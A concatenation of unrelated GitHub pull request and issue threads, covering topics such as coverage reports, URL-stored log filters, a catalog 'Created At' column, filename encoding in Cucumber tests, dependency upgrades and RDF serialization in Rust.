@@            Coverage Diff            @@
##           master    #144      +/-   ##
=========================================
- Coverage   81.12%   81.1%   -0.03%
=========================================
  Files          24      24
  Lines         922     921       -1
  Branches       72      72
=========================================
- Hits          748     747       -1
  Misses        154     154
  Partials       20      20

Impacted Files
Coverage Δ

src/poliastro/jit.py
80% <ø> (ø)
:white_check_mark:

src/poliastro/util.py
100% <100%> (ø)
:white_check_mark:

src/poliastro/ephem.py
68.42% <100%> (ø)
:white_check_mark:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cfbf32b...1bebd95. Read the comment docs.


Keep Logs screen filter state in URL so it can be shared (and reloaded), and keep it when switching environments.

Summary
This PR does two things:

It stores the state of the LogsScreen in the URL search querystring, this means that it can be shared with others and you can reload the page without resetting the filters.
The ApplicationsChanger component reuses whatever URL search querystring for the current URL when switching environments. Together with the first change, this means that switching environments/apps while looking at logs will keep the filters after switching environments.

TODO:

[ ] Do we want to push to the history stack whenever the filters change? I think not.
[ ] Look at the default values and handling of missing microservices and other errors in the code that turns the querystring into a LogFiltersObject.

While working on it, I found a little bit of a strange setup with multiple routers that made the querystring changes not propagate properly - and I don't know if that is intended usage. But I think we can leave this for later. Also 2) is a little bit hacky, but I don't think we should bother with doing it more properly (passing in props) before we have had a chance to revisit the structure and state management of the app as a whole.

@jakhog, before merging this in: there is a blocker in main because of https://github.com/dolittle/Studio/pull/208, which has introduced a bug / slowness on the page which should be fixed.

Nice, thanks @pavsaund 😄 I've fixed the merge conflicts, TS build issues and implemented your suggestions. Also found a small bug in the ApplicationsChanger that created strange URLs and made me click the changer twice to get it to work.
I'm still not proud of this useLogFilters hook, it's quite big and does a lot of default things. But I think it might be okay for now - as we've discussed briefly, this might be something worth building in a reusable way together with routing. There are too many libraries out there to find a good one.
Lastly, which I'll leave up to you to decide - is whether we want it to replace or push in the history, on this line: https://github.com/dolittle/Studio/blob/8ea4ff12f88b77f2a3a224c9b75fdd4bdab92064/Source/SelfService/Web/logging/logFilter/useLogFilters.ts#L52
I think it would be annoying UX to have to click back a lot of times when you've played with the filters. But second opinions are nice 🙂 If you agree, it should be ready to merge.

:shipit:


feat(catalog): added created at column in the catalog page

Description

The PR adds the scaffolder annotator action in the backend
In the UI, the catalog page will now show a new Created At column for entity kind Component
The new column can be sorted
Has E2E test

Which issue(s) does this PR fix

Fixes

https://issues.redhat.com/browse/RHIDP-2104
https://issues.redhat.com/browse/RHIDP-2193
Screenshots/GIF

PR acceptance criteria
Please make sure that the following steps are complete:

[ ] GitHub Actions are completed and successful
[ ] Unit Tests are updated and passing
[ ] E2E Tests are updated and passing
[ ] Documentation is updated if necessary (requirement for new features)
[ ] Add a screenshot if the change is UX/UI related

e2e tests changes looks good to me.

Tested this PR and the timestamp showed up as expected in the column:

/approve


Pass the RNG for smooth sample transition when updating parameters

Can one pass the RNG for the random samples? This would allow smooth transitions when changing the GP parameters

No. However, you could set the seed to achieve the same I assume?

Ah you're right putting Random.seed!() just before updating orbit solves my problem!

You shouldn't have to worry about RNGs at all when you only update orbit. There should be no sampling and no randn calls.

No I was worrying because I am also modifying some of the other lifted elements for the plotting. I'll send a cool Gist soon, it will be self-explanatory :)


Japanese character filename encoding issue when simulating file upload

I am currently using Cucmber with capybara to test uploading of files to a website (using paperclip on the server side). These files have Japanese Kanji in them and I have to do processing based on the names
Once thing I have to do is extract a number using /\d+/.match(filename)
Now this works when I test manually but fails when I use cucumber / capybara. Further investigation leads me to the fact that when I test manually with a browser the filename variable in the code contains:
店舗めいテスト12811391-ファイルname.pdf

Which is the correct name however when I look at the same variable called during cucumber testing the filename is:
%E5%BA%97%E8%88%97%E3%82%81%E3%81%84%E3%83%86%E3%82%B9%E3%83%880003-%E3%83%95%E3%82%A1%E3%82%A4%E3%83%ABname1.pdf

Which is obviously wrecking the regex (It matches the first 5 in %E5). I am not sure if this is a cucumber or capybara issue (Or if I am missing something obvious), any pointers would be much appreciated.
This is being tested on a Kubuntu linux 10.04 64bit installation with Ruby 1.8.7, Rails 2.3.5, Cucumber 0.8.5 and Capybara 0.3.9

Closing this, should be fixed.


return exit status 1 when one or more js tests fail

This makes the build fail when a JavaScript test fails.

Resolved by https://github.com/apache/couchdb/commit/fe16873de170f08beae90116fc5e0126eb22cf43


Feature: If there are multiple candidates, randomly choose only 1 candidate as a reviewer

auto mass assigning reviewers to a pull request doesnt seem like a good idea especially on a PR that touches a large number of files with different and multiple OWNERS usernames attached to them. since there are multiple "candidates" most reviewers will think that since there are other reviewers assigned that they do not need to review the PR

migrated to https://github.com/ampproject/amp-github-apps/issues/285


Using version of chrome-remote-interface that uses version of ws with DoS Vulnerability

https://snyk.io/test/github/prerender/prerender
Upgrading to<EMAIL_ADDRESS>would fix the issue.

Thanks for the heads up! Our chrome66 branch already has an upgrade that will fix that. We'll merge that soon to mitigate this.
https://github.com/prerender/prerender/blob/chrome66/package.json

Awesome! Thanks

Great! No problem!


Adding get_default method to the projects endpoint

Want a quick view on this. I sent Russell a mail cause our endpoints are broken because of the default sorting that was added. Ignoring that, I added support for get_default and put an implementation for older versions so that our samples could be updated, too. I accidentally parented off of builders so I probably need to reparent. Tests are still to be done

Thanks for all the feedback

Closing for inactivity


Add a latency histogram chart

Adds an additional chart for a latency histogram. Generates a chart like;

LGTM but it might be nice to move the legend down below where it would have more horizontal space because otherwise the labels are cut off, which is a problem also for the existing charts (though they do have the legend below but use two columns so can't use the full width).

Should this be merged at this point?


Unify all WinObjC Versioning

This changes simplifies and unifies all versioning to be based on Git Tags.
This removes the need for the version file and no longer requires master packages
to be built with a version override (though they still can).
vcxproj, csproj, and VSIX projects all get automatically versioned in a concsistent
way and have more metadata like the Copyright and description correctly filled out.

@kellymor what is the concern exactly? I don't follow.

� � � � � � � � � � � � �V�A�L�U�E� �"�P�r�o�d�u�c�t�N�a�m�e�"�,� �"�O�b�j�e�c�t�i�v�e�-�C� �f�o�r� �W�i�n�d�o�w�s� �v�"� �S�T�R�I�N�G�I�Z�E�(�P�A�C�K�A�G�E�_�V�E�R�S�I�O�N�)�

Is the version usually appended to the product name considering there is also a ProductVersion field?
Here it doesn't say you should only have the name but it also doesn't say you should have the version: https://msdn.microsoft.com/en-us/library/windows/desktop/aa381058(v=vs.85).aspx

Refers to: common/common.rc:171 in f4bbf31. [](commit_id = f4bbf31cb90a64512a01760d3c22bc259181321c, deletion_comment = False)


Rework on getAutocompletedText.

fix: error when emoji which starts with symbol is selected from autocomplete popup.
Select :+1 from autocomplete just after typing :+ in compose box.
fix:

Good catch.


Add test for GpuCast canonicalization with timezone

fixes https://github.com/NVIDIA/spark-rapids/issues/5727
This adds a test for https://github.com/NVIDIA/spark-rapids/issues/5670.  I verified that without the fix in https://github.com/NVIDIA/spark-rapids/issues/5670 the test throws an org.apache.spark.sql.catalyst.parser.ParseException.

build


XML Serialization!

As far as I can see there isn't an XML serializer available at the moment. This would be a nice to have.

There is already a simple RDF/XML formatter in RIo: https://docs.rs/rio_xml/0.5.1/rio_xml/struct.RdfXmlFormatter.html

Yes, I have seen. I have currently implemented most of my library in terms of sophia. I'm actually fairly unclear about the relationship between sophia and rio; I know that rio has a sophia adaptor as a feature. It isn't clear to me whether I should be using rio directly or sophia as I am at the moment (this wasn't a principled decision on my behalf; I just found sophia first!).

I'm actually fairly unclear about the relationship between sophia and rio; I know that rio has a sophia adaptor as a feature.

It's a bit complicated indeed.
Rio implements some sophia_api traits and sophia wraps the Rio parsers (RDF/XML and Turtle/Trig/Ntriples/NQuads) to provide its own parsing APIs. To summaries, Rio crates have an optional dependency on sophia_api and sophia depends on sophia_api and on the Rio crates. Rio also provides formatters (used in e.g. Oxigraph) but Sophia uses it owns formatters for Turtle and derived formats.

Thank you for the explanation. It's very clear!

To complete @Tpt's excellent summary: it would indeed be nice to wrap Rio formattes into Sophia's serializer API, the same way it is currently done for parsers... TODO++

The latest commit (017aab4f) adds a wrapper around Rio's RDF/XML and Turtle parsers. An example of how to use it is provided in sophia/examples/convert.rs.

Thank you indeed!


Fix sending files

This fixes the initial issue in  #431 by skipping the test for an empty message text and adding an explanation to the GUI that you have to change the Message Count if you want to all of the selected files if you have selected multiple files.

:white_check_mark: Build ServiceBusExplorer 5.1.0-FixSendingFiles.15.build.791 completed (commit https://github.com/paolosalvatori/ServiceBusExplorer/commit/38bc425ef5 by @ErikMogensen)

:white_check_mark: Build ServiceBusExplorer 5.1.0-FixSendingFiles.15.build.791 completed (commit https://github.com/paolosalvatori/ServiceBusExplorer/commit/38bc425ef5 by @ErikMogensen)

The updated GUI for the forms for testing topics and queus now look like this when the Files tab is selected.

The updated GUI for the forms for testing topics and queus now look like this when the Files tab is selected.

Thanks @ErikMogensen, an alternative solution could be the opposite: if someone select more messages on the UI, we automatically set the value of the Message Count field equal to the number of the selected messages. :)

Thanks @ErikMogensen, an alternative solution could be the opposite: if someone select more messages on the UI, we automatically set the value of the Message Count field equal to the number of the selected messages. :)

Sorry, but for EventHub not working yet?

@Maverick1983, it was just fixes in pr #603.

@Maverick1983, it was just fixed in pr #603.

Thanks!


Initial Documentation

This patch adds some additional documentation about how to build and run
Tobira. In particular, this patch contains:

a docker-compose (podman-compose) file instead of custom shell scripts
to control docker
a short documentation about how to build front- and backend
it moves the current docs to the main README file. For now, that makes
deiimportant informationthem easier to find.

Oh and please rebase so that CI is ran for this PR.


re; icons

Hi! Both your reddit post and the screenshot provided on the repo contain an icon theme.
This repo does not currently include those and neither does the theme itself.
Is this a WIP or did you acidentally forget to push them?

Hi, you can find the vscode icons here.

Ah, my bad, thanks a bunch.


Adding changes to webservices.rst

I have merged this PR with the changes, the documentation is working OK in my local machine.